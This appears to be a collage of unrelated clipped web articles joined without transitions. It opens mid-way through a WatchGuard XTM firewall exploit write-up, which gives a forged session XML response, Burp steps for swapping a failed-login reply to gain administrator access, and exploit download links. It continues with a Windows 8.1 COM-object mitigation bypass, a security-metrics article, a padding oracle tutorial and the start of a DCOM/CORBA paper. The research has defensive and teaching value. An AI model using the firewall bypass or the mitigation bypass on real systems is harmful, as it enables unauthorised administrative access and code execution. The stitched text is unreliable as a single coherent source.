Encoding``Date: Fri, 25 Oct 2013 22:03:45 GMT``Server: none``Content-Length:
751` `<?xml version=``"1.0"``?>``<methodResponse>`` ``<params>`` ``<param>``
``<value>`` ``<struct>``
``<member><name>sid<``/name``><value>6B8B4567327B23C6643C9869663348730000001D<``/value``><``/member``>``
``<member><name>response<``/name``><value><``/value``><``/member``>``
``<member>`` ``<name>readwrite<``/name``>`` ``<value><struct>``
``<member><name>privilege<``/name``><value>2<``/value``><``/member``>``
``<member><name>peer_sid<``/name``><value>0<``/value``><``/member``>``
``<member><name>peer_name<``/name``><value>error<``/value``><``/member``>``
``<member><name>peer_ip<``/name``><value>0.0.0.0<``/value``><``/member``>``
``<``/struct``><``/value``>`` ``<``/member``>`` ``<``/struct``>``
``<``/value``>`` ``<``/param``>``
``<``/params``>``<``/methodResponse``>``--------------------------------------------------------------------------------``[*]
Over.``$`  
---|---  
Now that we received both a valid cookie and an XML answer for the Flash
application, the remaining thing to do is to fire up Burp Suite or equivalent,
and then to replace a failed login response by this one.

**Phase 1** : Attempt to login as admin using a wrong password:

<img src='img/Temp2_9358.jpg' width='347' height='240' alt='xtm-01' />_**Login
as admin using a wrong password**_

**Phase 2:** intercept the HTTP **response** \(not enabled by default, check
out your Burp proxy options\). As expected, WatchGuard responded with a
“**invalid credentials** ” message.

<img src='img/Temp2_9361.jpg' width='513' height='453' alt='xtm-03' />**_HTTP
Response returned by WatchGuard_ **

**Phase 3:** replace the HTTP response \(invalid credentials\) with the
content provided by the exploit code, and then forward it back to the browser:

<img src='img/Temp2_9359.jpg' width='609' height='581' alt='xtm-04' />_**HTTP
Response – content modified**_

**Phase 4:** enjoy your administrator access :-\)

<img src='img/Temp2_9357.jpg' width='602' height='448' alt='xtm-05'
/>_**WatchGuard admin console**_

## 6.2. Download

The exploit has been tested against multiple deployments of the XTMv \(virtual
appliances\) version 11.7.4u1, running on various ESXi hardwares. However, we
could not test it against a “physical” appliance \(XTM\) yet.

While the vulnerability is certainly present on previous versions of the
software, the shellcode will probably not work on other versions. You should
however have enough information to adapt it to previous versions of the XTM
software.

As usual, please be responsible by asking for the authorization before p0wning
a Firewall..

The exploit can be downloaded from the following links:

  * Perl exploit: watchguard-xtm-sessionid-exploit-0.2.pl
  * Metasploit module \(draft\): watchguard\_xtm\_get\_cookie.rb

Enjoy,

# Bypassing Windows 8.1 Mitigations using Unsafe COM Objects

**Created:**| _6/26/2014 12:34:57 PM_  
---|---  
**Updated:**| _6/26/2014 12:34:57 PM_  
**Author:**| __  
**Tags:**| _windows security win8_  
  

# Bypassing Windows 8.1 Mitigations using Unsafe COM Objects

In October last year I was awarded the first $100,000 bounty for a Mitigation
Bypass in Microsoft Windows. My original plan was to not discuss it in any
depth until Microsoft had come up with a sufficient changes to reduce the
impact of the bypass. However as other researchers have basically come up with
variants of the same technique, some of which are publically disclosed with
proof-of-concept code it seemed silly to not discuss my winning entry. So what
follows is some technical detail about the bypass itself.

I am not usually known for finding memory corruption vulnerabilities, mainly
because I don’t go looking for them. Still I know my way around and so I knew
the challenges I would face trying to come up with a suitable mitigation
bypass entry. I realised that about the only way of having a successful entry
would be to take a difficult to exploit memory corruption vulnerability and
try and find a way of turning that into reliable code execution.

For that reason I settled on investigating the exploitation of a memory
overwrite where the only value you could write was the number 0. Converting a
0 overwrite of this sort, while not impossible to exploit, certainly presents
some challenges. I also stated that I could not disclose the existing contents
of memory. If you have an information disclosure vulnerability then it is
generally game over anyway, so I was confident that would not pass for a
winning entry.

## ActiveX and COM

The attack vector for the mitigation bypass was safe-scriptable COM objects.
As COM is a general technology, not limited to safe-scripted environments such
as Internet Explorer, there are many unsafe objects which could be abused if
they were allowed to be created. To prevent this, hosts, such as Internet
Explorer, use two mechanisms to determine whether an object is safe for being
used in the host environment, Category IDs and the IObjectSafety interface.
The Category IDs, _CATID\_SafeForScripting_ and _CATID\_SafeForInitializing_
can be added to a COM object registration to indicate to a COM host that the
object is safe for either scripting or initialisation. These are static
indicators, and are not particularly of interest.

Things get more interesting with the _IObjectSafety_ interface which is
implemented by the COM object. The host can call the GetInterfaceSafetyOptions
method to determine whether a COM object is safe to script or initialise \(of
course this means that the object must have already been created\). The
interface also has a secondary purpose; once a host has determined that an
object is safe it can call the SetInterfaceSafetyOptions method to tell the
object how safe it needs to be.  
This method has a particular implication; it allows COM objects to be written
in a generic way with potentially dangerous functionality \(such as arbitrary
script code execution\) and then secured at runtime by disabling the unsafe
functions. The typical way this is implemented is by setting flags within the
object's memory to indicate the security of the object. This is the attack
vector chosen. If we have a suitable memory corruption vulnerability it might
be possible to change these security flags to convert a secure object back to
an insecure one and use that to circumvent in-place mitigations.

A related topic is the setting of an object's site. A Site is normally a
reference to the hosting environment for the COM object, such as the OLE
container or hosting HTML document. This makes a number of security related
functions possible, such as enforcing the same-origin policy for COM objects
in a web page \(through querying for the _IHTMLDocument2_ interface and
reading the URL property\), zone determination or accessing the host security
manager. Depending on what we attack we might need to deal with the Site as
well.

The important point of all this is by default there are many objects which are
unsafe until certain flags are stored within the memory allocated for the
object. Therefore the unsafe state of these flags is the value 0, where as the
safe state is non-zero. This means that if we have got a 0 overwrite
vulnerability we can reset the security flags back to the unsafe state and
exploit the unsafe functionality of the COM object.

## Attacking MSXML

To demonstrate an attack against scriptable COM objects a suitable object is
needed. It must meet some set of criteria to allow us to use the memory
corruption vulnerability to bypass mitigations. I determined that the criteria
were:

  1. The object must be creatable in common COM hosts without significant security issues such as being blocked by policy or site locking
  2. The object must be available on default Windows installations or be extremely common
  3. The object must do something of benefit to an attacker when insecure, but not expose that functionality when secure \(otherwise it would just be a security vulnerability\)
  4. It must be relatively trivial to convert from secure to insecure through a minimal number of zero memory overwrites

The COM objects chosen for the demonstration are implemented by the MSXML
libraries. Windows 8.1 comes with versions 3 and 6 of the MSXML library
installed by default. They are pretty much considered de-facto secure as
without them some websites would break; therefore there are no issues with
site-locking or blacklisting. They can even be created in the immersive
version of IE without issue. They also have some significant functionality
when insecure, namely the ability to circumvent same-origin policy and also to
execute fully-privileged scripts within the context of XSL transformation.

<img src='img/Temp2_1236.png' alt='XMLHTTP Implemented Interfaces' />

So MSXML meets the first three criteria, but what about the 4th? Many of the
objects that MSXML exposes implement the _IObjectSafety_ interface which is
the mechanism through which safety is enabled as shown above. The object also
supports the _INTERFACE\_USES\_SECURITY\_MANAGER_ flag which means that the
object will utilise the security manager from the hosted site to make some
trust decisions. Through reverse engineering the safe objects such as
_DOMDocument_ and _XMLHTTP_ , it can be seen that they all contain the
_COMSafeControlRoot_ structure, which is used to implement the _IObjectSafety_
and security manager features. In MSXML3 this consists of 6 fields, in the
default insecure version these values are all NULL, while in a secure version
they contain pointers to site objects and security managers as well as the
current security flags set through _SetInterfaceSafetyOptions_. The rough
outline of this structure is shown below:

<img src='img/Temp2_1238.png' alt='COMSafeControlRoot Layout' />

Through inspection, I found that of the 6 values in memory only two were
important when it came to bypassing the security mechanisms. This was a
pointer to the host security manager at offset 4 and the security flags at
offset 20. Crucially these can be reverted back to NULL without causing any
other significant effect on the object’s functionality. This means that a very
restricted memory corruption could achieve the desired effect, namely our
overwrite with zero.

## Finding an Object in Memory

The biggest issue with this technique is that whilst it would be easy enough
to modify an object in memory to disable the security without an information
disclosure vulnerability, we would not know where it was. If you had an
information disclosure vulnerability you probably would not need to use this
technique at all.

The bypass must be able to guess the location of a valid object in memory and
attack it blind. The design of typical scriptable COM hosts come in handy here
to achieve this goal.

  1. They usually allow you to create an arbitrary number of new objects, this allows for the heap to be flooded with object instances
  2. The allocation of COM objects is up to the COM library to implement; therefore it might not be using best practice or it might disable security mitigations
  3. The scripting ability allows for executing specific sequences of operations to improve reliable allocation patterns

In the general case this makes it a lot easier to use a heap flood technique
to generate a reliable pattern of objects on the heap and of a large enough
size to guess the location of an object. If a regular pattern of objects can
be achieved we can use an arbitrary overwrite to modify values in memory
through a guessed location and then find the insecure object to execute our
code.

<img src='img/Temp2_1239.png' alt='COM Object Heap Layout' />

There are some issues with the heap improvements in Windows 8. For a start
there is a new mitigation called Low Fragmentation Heap Randomisation. The Low
Fragmentation Heap \(LFH\) is a special memory heap used for small allocations
to reduce the amount of memory fragmentation that occurs during allocation and
freeing of memory. In Windows 8 the order of what blocks is allocated has a
random element to it. This makes it more difficult to lay out guessable
patterns of allocations.

At least once you start allocating 1000s of objects it is still possible to
find some level of reliability for allocations. However MSXML3 provides an
ideal case, presumably for legacy reasons when running on a multi-processor
system it creates its own heap passing the HEAP\_NO\_SERIALIZE flag. This
means that the LFH is disabled which also disables some of the heap
improvements in Windows 8. This makes the heap flooding considerably more
reliable.

The targeted COM object in that library is MSXML2.XMLHTTP.3.0. This is because
this object has a considerably smaller heap footprint than DOMDocument which
would be the more obvious choice. As long as the object is opened you can read
the requestXML property \(even without sending the request\) to get a
DOMDocument object. This document inherits the security settings of the parent
XMLHTTP object which allows us to modify XMLHTTP and then use that to execute
arbitrary script code.

To lay out the heap the provided PoC creates 40,000 instances of XMLHTTP and
stores them in an array. Each instance also has the ‘open’ method called on it
and a request header set to increase the allocation size for a single object.
This results in a repeating 8192 byte pattern of objects being created in
memory which looks similar to the following:

<img src='img/Temp2_1237.png' alt='XMLHTTP Heap Layout Example' />

The actual code was quite simple:

<img src='img/Temp2_1235.png' alt='MSXML Heap Flood' />

Once the heap was flooded the next step was to write the 0 values to a guessed
address. The address was chosen empirically, and for the proof-of-concept the
overwrite was actually performed using a custom control rather than a real
memory corruption vulnerability. By guessing the base address of an object and
writing 0s to offsets 4 and 20 we will have disabled the security on one
XMLHTTP object, we just need to find which one. For that, the proof-of-concept
just enumerated all allocated objects trying each one in turn with a XSL
document with an msxsl:script tag containing JScript to start notepad. If the
object is still secure then this process will throw an exception, if not we
succeeded, notepad has been executed and we can stop looking.

<img src='img/Temp2_1241.png' alt='Trying the XMLHTTP Exploit' />

## Real World Zero Overwrites

Of course this entire bypass is predicated on finding a vulnerability which
allows you to do an arbitrary overwrite with a 0. How likely is that in the
real world? Well honestly I can not give any figures but don't forget that 0
is the typical default state for values, so any code which tries to initialize
a value under an attackers control will probably set it to zero.

A good example is COM itself. Every COM object must implement the _IUnknown_
interface, the first function _QueryInterface_ is used to convert the object
to different interface types. It takes a pointer to the IID and a pointer to a
pointer for the returned interface, assuming it supports the required
interface. It is recommended that if the object doesn't support the interface
it should ensure the outbound pointer is set to NULL before returning.

<img src='img/Temp2_1240.png' alt='Typical QueryInterface Implementation' />

If you've already guessed the location of a COM object you might only be a
V-Table dereference away from your coveted arbitrary zero overwrite.

## Conclusions

Obviously this particular example has limitations. It only worked reliably in
32 bit versions of IE as heap flooding is very difficult to do in a reliable
way on 64 bit. Of course if you combined this technique with a memory
disclosure vulnerability you can achieve code execution without needing to
control EIP.

The technique is more general than just COM objects in IE. Any structure in a
program which has both safe and unsafe functionality is a suitable target. The
PoC was necessary to demonstrate the potential. It is interesting that
techniques like this are subject to convergent discovery, I wasn't the only
person to stumble upon a similar idea, the only reason it is an issue now is
the easy routes of exploitation have been closed.

# Is Your Security Program Effective? 7 Must-Ask Questions - InformationWeek

**Created:**| _1/13/2014 8:30:38 PM_  
---|---  
**Updated:**| _1/13/2014 8:30:38 PM_  
**Author:**| __  
**Tags:**| _security tools management_  
  

# **I** s Your Security Program Effective? 7 Must-Ask Questions****

Business leaders can, and should, insist on metrics to prove protection
efforts are worth the money**.**

As we put the final touches on 2014 budgets, many security leaders are asking
for more money now to keep “bad things” from happening later**.** CEOs and
CISOs have done this dance for years. But today I see many business leaders
asking, “What do we have to show for all of these information security
investments**?** How do I know we’re spending the right amount? How do I know
our security program actually works?”

This last question is especially tricky**.** You’ve either had a security
breach or you haven’t**.** If you have had a major incident, were you
unprepared or just unlucky to be targeted by a high-powered attacker**?** If
you’ve not had a major breach, is that because of a good security
strategy**?** Or did you just get lucky**?** Can you even know for sure?

The correct answer to these questions is: “Risk reduction as borne out by our
risk management program**.** ” I’ll explain what that looks like in a moment.
But first, here are seven questions business leaders should ask their CISOs,
and the answers that should worry them**.**

1\. “How do I know our risk management program works**?** ”  
\(Red-flag answers: “I don’t know,” or “We use X and X is a best-practice**.**
”\)

2\. Do we have a defined risk management methodology?  
\(Red-flag answer: “No**.** ”\)

3\. Where did our methodology come from**?** Which interdisciplinary
techniques do we use?  
\(Red-flag answers: “We invented our own,” or “I don’t know**.** ”\)

4\. How do we measure probability, frequency, and business impact**?** Do we
use ranges of numbers?  
\(If the answer is “no,” you might be in possession of a red flag**.**\)

5\. Does our risk management methodology require detailed, calibrated
estimates**?** Is the CSO/CISO calibrated?  
\(If the answer to either question is “no,” well, you know what color flag you
have**.**\)

6\. Can the CSO/CISO explain the “base rate fallacy”**?**  
\(The answer should be “yes.”\)

7**.** Do we measure probability, frequency, and impact with a scale, like
“high,” “medium,” and “low”**?** Do we use risk matrices or heat maps to
summarize risks**?**  
\(If the answer to both questions is “yes,” that’s a red flag**.**
Gotcha**\!**\)

If you’ve asked these questions, chances are you’ve also gotten a lot of wrong
answers**.** You’re not alone**.** Most companies use what I call a
“qualitative” approach that, by definition, focuses on qualities, attributes,
or characteristics of things**.** Examples include marking off checklists of
compliance requirements, benchmarking the company with peers, and so
forth**.** While easy to do, qualitative approaches by themselves don’t answer
the important questions**.** Just because my peers are doing X, why does that
make X the right approach for us**?**

You need a complementary “quantitative” approach that, by definition, focuses
on numerical measurements that make it possible to answer our questions**.**
For example:

Q: How can I know if a security investment is a good one**?**  
A: First, measure the amount of risk reduction achieved by the investment**.**
Second, find out if the investment increased risk in other areas**.** Third,
measure the risk reduction per unit cost.

Good security investments not only reduce risk \(and avoid increasing other
risks\), they optimize the balance between risk reduction and cost**.** Here's
a typical conversation:

CFO: “How do I know our security program actually works**?** ”  
CISO: “Because the expected loss from security-related events with those
security investments in place is less than what it would be without them**.**
”

CFO: “How so?”  
CISO: “Take our investment in data-retention controls**.** Without these
controls, we know that we will suffer an average of one loss event per year,
and the cost of a loss incident is approximately $250,000, for an annual
expected loss of $250,000 per year**.** With data retention controls, we know
that we will suffer an average of one loss event per decade, while the cost of
that loss incident remains the same, for an annual expected loss of 0**.** 1 x
$250,000/year = $25,000/year. So the risk reduction is $250,000/year -
$25,000/year = $225,000/year**.** ”

CFO: “Where did you get these numbers**?** How do you know the frequency of
loss events with and without the security controls**?** ”  
CISO: “When it exists, we use historical data**.** When it doesn’t exist we
use calibrated estimates. The people providing these numbers have gone through
calibration training**.** Psychological studies have consistently shown that
calibration training significantly improves the accuracy of people’s
estimates**.** ”

CFO: “How does it work?”  
CISO: “Almost everyone is systematically biased toward overconfidence or
underconfidence**.** Calibration training exposes people to their bias and
teaches them how to avoid it**.** People learn, for example, how to estimate
using ranges and confidence intervals**.** They will give a range of numbers,
say, 'one to 10 loss events per year,' and a confidence interval \(CI\) of,
say, 90%**.** The range simply means that the actual number of loss events per
year is between one and 10**.** The 90% CI means that if the expert gave 10
estimates with a 90% CI, the ranges in nine of those estimates would contain
the correct number**.** ”

CFO: “OK, got it**.** But even with calibrated estimates, how do we know we’re
investing the right amount**?** ”  
CISO: “We don’t want to get ‘the most security’ because that costs too
much**.** Nor do we want ‘the cheapest security’ because that doesn’t consider
risk reduction**.** Instead, we want the optimum balance between cost and risk
reduction**.** So we measure the risk reduction per unit cost \(RRPUC\) of
various options**.** For example, our data retention controls cost
$11,000**.** So the RRPUC equals $225,000 divided by $11,000, or $20**.**
45**.** ”

RRPUC measures a proposed control’s cost-effectiveness at reducing risk**.**
If the RRPUC is exactly one, then the proposed control isn’t any more cost-
effective than no control at all**.** A ratio much greater than one, such as
the $20.45 referenced above, suggests that the control is a good
investment**.**

The beauty of the RRPUC approach is that it enables CxOs to compare options in
a portfolio of proposed security investments**.** Suppose your CISO proposes
four controls with the following metrics:

**Table 1: Comparing Security Controls**

Control| Cost| RRPUC  
---|---|---  
Control \#1| $300,000| $1**.** 52  
Control \#2| $300,000| $20**.** 45  
Control \#3| $300,000| $10**.** 00  
Control \#4| $300,000| $3**.** 00  
If your security budget tops out at $300,000, control No**.** 2 is clearly the
best option. If it’s $600,000, controls 2 and 3 would be a good
combination**.** But if your budget is $1.2 million or greater, controls 1 and
4 may be poor investments because their RRPUC values are so low**.**

So let’s revisit our original questions**.**

“How do I know we’re investing the right amount**?** ” You know that you are
investing the right amount because the RRPUC approach forces you to balance
risk reduction with cost**.**

“How do I know our security program actually works**?** ” The RRPUC approach
provides at least part of the answer because it shows that your security
investments actually reduce risk**.**

I hope that more organizations will adopt an RRPUC approach when analyzing and
managing their IT risks; you can get more info here **.** It's the best way to
retire those red flags.

_Jeff Lowder is president of theSociety of Information Risk Analysts  \(SIRA\)
and director of global information security and privacy at OpenMarket \(a
subsidiary of Amdocs\)**.** Jeff previously served as CISO at Disney
Interactive, director of information security at The Walt Disney Company and
the US Air Force Academy, as well as other senior security positions at United
Online and PricewaterhouseCoopers**.** _

_InformationWeek has overhauled its annual database technology survey to
capture the seismic shifts in how companies manage and mine their data**.**
Help us figure out the brave post-RDBMS world, and enter to win a 16 GB Apple
iPad Air**.** Take the survey now**.** _

More Insights

****

# Keith \(k3170\) Makan: Padding Oracle Attacks : The other padding that
killed your secret key

**Created:**| _7/17/2015 9:46:21 AM_  
---|---  
**Updated:**| _7/17/2015 9:46:21 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

<img src='img/Temp2_4767.png' width='320' height='318' />  
---  
The Oracle of Delphi  
Hi folks\! In this post I'd like to talk about something that's pretty old but
still crops up every now and then \(example\). I know for most folks this is
nothing new but I'd still like to have a post about this attack in my archive
and also deliver a good explanation of the attack in a way that makes it
easier for more people to understand \(I know for new comers this attack can
be a bit of a mind bending exercise :P\). Also if you want to be a total
infosec / crypto hipster you can refuse to call it padding oracle attacks and
call it by its eponym "the Vaudenay attack" and pay homage to the inventor
Serge Vaudenay :\)

Update: The next post is a more practical explanation of this attack :\)

###

###

###

###

###

###

###

###

###  Block Cipher Modes

So to start off with lets talk about block ciphers. Block ciphers as we know
are always deployed in modes of operation. These modes are designed to
guarantee certain cryptographic properties.

Modes each have their own set of strengths and weaknesses and each mode makes
unique use of the plain-text and key to cipher-text mapping provided by the
block cipher. Some modes make use of block ciphers a bit like hash functions
and the outputs are simply XOR'd with plain-text to produce cipher-text,
others ensure that entropy in plain-text is represented as clearly as possible
in corresponding cipher-text.

###  Electronic Code Book Mode \(ECB\)

Each mode was developed out of a weakness in the vanilla \(Electronic Code
Book Mode\) use of block ciphers or need to guarantee a given kind of
cryptographic security property using existing block ciphers or to apply block
ciphers to special implementations \(authentication, integrity, etc.\).

Why is electronic code book mode bad? Well quiet frankly it is a straight
forward application of a block cipher; plain-text is broken up into block
length sizes and then pulled through the encryption function block by block.
What this means is that because each block is encrypted by the same cipher
under the same key, if the plain-text contains blocks of data that are the
same this will be reflected in the cipher text and thus the cipher-text will
reveal information about the plain-text. So unless you just happen to be
encrypting plain-text that doesn't have any similar blocks \(and more
importantly NEVER will\) ECB mode isn't a good idea.

So we need a block cipher mode that doesn't inherently leak information about
the format of plain-text, enter Cipher Block Chaining mode.

###  Cipher Block Chaining Mode \(CBC\)

This mode was developed in order to propagate changes in plain-text blocks
throughout the entire operation of the function and also ensure that no two
sets of plain-text blocks encrypt to the same cipher-text; it essentially
solves the problems created by electronic code book mode. To summarize the
operation in words _\(before you look at the picture,_  _most explanations of
this attack spring a complex picture of CBC on you at this point; I find
that's a bit daunting, so I'll ease into that with a wordy explanation of the
operation first\)_ :

The idea is to incorporate the output of the previous encryption/decryption
step in the current one. So the nth encryption operation must depend strictly
the result of the \(n-1\)th encryption operation. And thus the nth decryption
operation depends on the result of the \(n-1\)th encryption operation.

This obviously creates a 0th case problem: if the current operation depends on
the previous, how does the first operation work? Well we stick in whats called
an initialization vector \(IV\) and use this as the fodder that fuels the
first operation. Under ideal circumstances this IV is unique and chosen at
random. Anyway here's the picture:

<img src='img/Temp2_4765.png' width='640' height='256' />  
---  
image stolen from
https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation  
At this point I'd like to compress these pictures into a some simple algebraic
statements, and talk about some of the fundamental properties of the CBC
operation \(_this is important because it provides a simple way to interlude
to the properties that make Vaudenay attacks possible_\). The encryption
operation can be summarized as follows:

ci=E\(ci−1⊕pi\)

Where

E:P

X

K→C

, which is basically a way of saying that the encryption function is a mapping
of pairs of plain-text and keys into a set of cipher-texts.

ci

is the

ith

block of cipher-text and

pi

is the

ith

block of plain-text. Also not forgetting the 0th block

C0=IV

which is the Initialization Vector. So if we expand this the encryption
operation looks as follows:

c1=E\(IV⊕p1\)

c2=E\(c1⊕p2\)

...

cn=E\(cn−1⊕pn\)

What about decryption? Well you could probably imagine what that looks like:

<img src='img/Temp2_4766.png' width='640' height='256' />  
---  
image stolen from
https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation  
And in algebraic notation:

pi=D\(ci\)⊕ci−1

also

D:C

X

K→P

and

D=E−1

###  Padding Scheme

There is some information missing from this operation though, what about
padding? Block ciphers are only designed to handle block length multiples of
input data, so either we just hope that all plain-text we need to encrypt is a
multiple of the block length or we add something to the plain-text to make
sure it is :\)

Well in order to account for that we need to expand our definition of plain-
text blocks as follows:

p=\(∑nipi\)+ξe

and where

+

and

∑

are short hands for the string concatenation operation; and

ξ∈S

where

S

is the set of all padding characters;

e

is the length of padding character we need to add to make

p

a string that's a length that's a multiple of the block length. Which means
that

e+n

mod

blocklength

=0

.

There are standards for padding plain-text before encrypting it, each scheme
works a little differently but each of them must accomplish two things:

  * preserve plain-text content
  * make the encryption algorithm aware of how much padding to remove

Here we will look at the padding scheme proposed in PKCS\#7 defined in RFC
5652 . Here's how it works:

the length of characters that need to be added is calculated as a number

k

and then the padding is made up of

k

characters of the value

k

For example in increasing length the padding works as follows:

  1. 0x1
  2. 0x2 0x2
  3. 0x3 0x3 0x3

...

n. 0xn 0xn 0xn 0xn ... 0xn

###  Formulating the attack

So now we know how padding, encryption and decryption works for Cipher Block
Chaining mode. Lets play around with some of the algebra and talk about some
of the weird properties it has. We're going to formulate an attack, one that
allows us to learn about the plain-text without knowing the secret key.
Algebraically this means we need an expression of the plain-text that depends
only on values that we can determine \(in a time less than a full brute-force
attack\) and that we already know.

As an attacker we control the cipher text that needs to be decrypted, we now
need an expression involving this that will give us information about the
plain-text. As we know in the decryption operation the cipher text is first
decrypted and then XOR'd with the previous block of cipher text, as follows:

pi=D\(ci\)⊕ci−1

\(1\)

What we need to remember here is that we control all the c's so to denote a
block that has been changed by an attacker as follows

c′i

. Also the decryption operation starts from the last block, meaning the block
that most likely contains some padding. Here's what it looks like when an
attacker has influenced the last block of cipher text for decryption:

p′i=D\(c′i\)⊕ci−1

\(2\)

But this would \(as noted above\) change the decryption operation for the
current block; it changes to

c′i

from

ci

. We want to know what the result of the

D\(ci\)

operation is so that means we can't touch what goes into it; rather we should
be looking at what happens when we change the second last block, namely

c′i−1

. Here's what that will look like:

p′i=D\(ci\)⊕c′i−1

\(3\)

We can then expand the decryption operation \(since we know algebraically what
the result will be\):

ci=E\(pi⊕ci−1\)

\(4\)

pluggin this into \(3\) we get:

p′i=D\(E\(pi⊕ci−1\)\)⊕c′i−1

\(5\)

and since

D=E−1

and thus because they are inverse functions

D\(E\(x\)\)=E−1\(E\(x\)\)=x

therefore

p′i=pi⊕ci−1⊕c′i−1

\(6\)

So now we have an equation with two unknowns; we don't know

pi

because its the plain-text, and we don't know

p′i

because it depends on

pi

. So how do we solve this equation? Well the truth is we do know some of the
values

p′i

will assume. Since we are decrypting the last block, this means

p′i

will need to \(at some point\) be padding bytes \(0xk 0xk ...\), algebraically
this means we can solve the equation\! so lets rearrange the terms in \(6\) so
we can target the correct term:

pi=p′i⊕ci−1⊕c′i−1

Awesome\! Now to put the final nail in the coffin we need to write this in
terms of bytes \(we've been talking about blocks so far\). Here's the byte
wise definition:

pi\[j\]=p′i\[j\]⊕ci−1\[j\]⊕c′i−1\[j\]

\(7\)

Where

\[j\]

means the

jth

byte of the annotated block.

So given that some of the bytes in

p′i

will be known padding bytes we can write them as

kj

. Which gives us:

pi\[j\]=k\[j\]⊕ci−1\[j\]⊕c′i−1\[j\]

\(8\)

now officially we have proved that this equation is solvable :\)

###  Decryption by Oracle

So the attack works by choosing leaking formation about the bytes that make up

pi

, we propose a value for

k\[j\]

\(while modifying the values for

c′i−1\[j\]

\) and then asking the decryption oracle if this value is true. Lets say we
are decrypting last byte, we can choose 0x1 as

k\[j\]

and 0x90 as the value for

c′i−1\[j\]

then as the oracle the following question:

0x1

=pi\[j\]⊕ci−1\[j\]⊕

0x90 ?

_The "oracle" here could be a web service or a mail server or anything that is
reporting on the validity of of the CBC decryption operation._

_Because the cipher text we are decrypting depends on the original value of
our modified cipher text block the equation includes

ci−1\[j\]

. So when you're performing this attack, you will need to keep track of what
you changed the byte value from._

So depending on whether the oracle manages to decrypt the byte or not
\(decryption will succeed if the byte we are influencing with these guessed
values actually decrypts to a valid padding value\). So the attack might mean
guessing a bunch of times like this:

0x1

=pi\[j\]⊕ci−1\[j\]⊕

0x90

0x1

=pi\[j\]⊕ci−1\[j\]⊕

0x255

...

0x1

=pi\[j\]⊕ci−1\[j\]⊕

0x97

So in essence we are proposing in the first round of the attack that the
plain-text has one byte of padding \(hence the guess of 0x1\), this means that
the

k\[j\]

should have been 0x1. we are essentially guessing values for

ci−1\[j\]

until this is true and the oracle can move onto decrypting the next byte in
the block. So if the Oracle replies with a YES \(yes I can decrypt the next
byte because this one decrypted to the correct padding value\) then we can
work out what the

jth

is with a couple rudimentary algebraic tricks. By rearranging we can then
express this as:

pi\[j\]=

0x1

⊕ci−1\[j\]⊕

0x97

We then need to move onto guessing the value for the next byte, this means we
need to fixate a different value for

k\[j−1\]

\(

j−1

since we're working on the next byte\), and according to how the padding
scheme works we need to make sure that we set 0x2 for

k\[j−1\]

, 0x2 for

k\[j\]

and see to it that we only modify the

2nd

last byte of

c′i−1

namely

c′i−1\[j−1\]

.

We can then guess until we get a yes from the Oracle:

0x2

=pi\[j−1\]⊕ci−1\[j−1\]⊕

0x112

0x2

=pi\[j−1\]⊕ci−1\[j−1\]⊕

0x87

...

0x2

=pi\[j−1\]⊕ci−1\[j−1\]⊕

0x48

Once we get a yes on this round we can move onto the

3rd

last byte setting

k\[j−3\]→k\[j\]

as 0x03. Overall the attack is merely a way of abusing the fact that we have a
way to ask about the value of the padding in a block, if we know about the
padding we can stuff this information into the algebraic forms above and jimmy
them around until they tell us about the plain-text\!

###  Parallelization of the attack

You should also notice that when we wrote the notation in \(6\) we where
strict about the order of the blocks involved, though this is merely
semantic,it means to express that the attack essentially abuses control of the

ith

block to decrypt the

\(i−1\)th

block. In fact, you can use any two pairs of cipher blocks in the attack,
regardless of when they occur in the actual cipher-text. All that is required
as that the attack takes in two whole cipher text blocks.

This independence with regard to ordering is a classic attribute in problems
that can be solved using parallelization; namely we can processes decryption
of a number of blocks simultaneously and then reorder them once the plain-text
is available.

###  Interesting Questions

  1. Are there any other block cipher modes that are susceptible to the Vaudenay attack?
  2. Given that the fastest known worst running time for the depends on re-ordering the decrypted plain-text is there a way to make it not depend on this? In a sense find an algorithm that will beat the speed of one dependent on how fast the plain-text can be re-ordered. In other words find an algorithm that makes this fast in a way that doesn't depending on a sorting algorithm, use the inherent properties of the decryption attack to make it faster.

###  Further Reading

\(and some places I borrowed info from\):

  1. http://robertheaton.com/2013/07/29/padding-oracle-attack/
  2. http://www.iacr.org/archive/eurocrypt2002/23320530/cbc02\_e02d.pdf
  3. http://netifera.com/research/flickr\_api\_signature\_forgery.pdf
  4. https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth

# DCOM and CORBA Side by Side, Step By Step, and Layer by Layer

**Created:**| _6/21/2011 9:07:30 AM_  
---|---  
**Updated:**| _6/21/2011 9:07:30 AM_  
**Author:**| __  
**Tags:**| _Microsoft Distributed systems_  
  

# DCOM and CORBA Side by Side,  
Step by Step, and Layer by Layer

September 3, 1997 **P. Emerald Chung**| | **Yennun Huang**| | **Shalini Yajnik**  
---|---|---|---|---  
Bell Laboratories, Lucent Technologies  
Murray Hill, New Jersey  
**Deron Liang**| | **Joanne C. Shih**| | **Chung-Yih Wang**  
---|---|---|---|---  
Institute of Information Science  
Academia Sinica  
Republic of China, Taiwan  
**Yi-Min Wang**  
Microsoft Research  
Redmond, Washington  
### **Abstract**

>  _**DCOM \(Distributed Component Object Model\)** and **CORBA \(Common
> Object Request Broker Architecture\)** are two popular distributed object
> models. In this paper, we make architectural comparison of DCOM and CORBA at
> three different layers: basic programming architecture, remoting
> architecture, and the wire protocol architecture. A step-by-step description
> of remote object activation and method invocation is provided to demonstrate
> the similarities and differences of the two frameworks. A primary goal is
> for people who are already familiar with one model to quickly understand the
> basic architecture of the other._
>  
>
> * * *
> ## 1\. Introduction
> The explosive growth of the Web, the increasing popularity of PCs and the
> advances in high-speed network access have brought distributed computing
> into the main stream. To simplify network programming and to realize
> component-based software architecture, two distributed object models have
> emerged as standards, namely, DCOM \(Distributed Component Object Model\)
> and CORBA \(Common Object Request Broker Architecture\).
> DCOM is the distributed extension to **COM \(Component Object Model\)**
> \[COM 95\] that builds an object remote procedure call \(ORPC\) layer on top
> of DCE RPC \[DCE 95\] to support remote objects. A _COM server_ can create
> object instances of multiple _object classes_. A COM object can support
> multiple **interfaces** , each representing a different view or behavior of
> the object. An interface consists of a set of functionally related methods.
> A COM client interacts with a COM object by acquiring a pointer to one of
> the object's interfaces and invoking methods through that pointer, as if the
> object resides in the client's address space. COM specifies that any
> interface must follow a standard memory layout, which is the same as the C++
> virtual function table \[Rogerson 96\]. Since the specification is at the
> binary level, it allows integration of binary components possibly written in
> different programming languages such as C++, Java and Visual Basic.
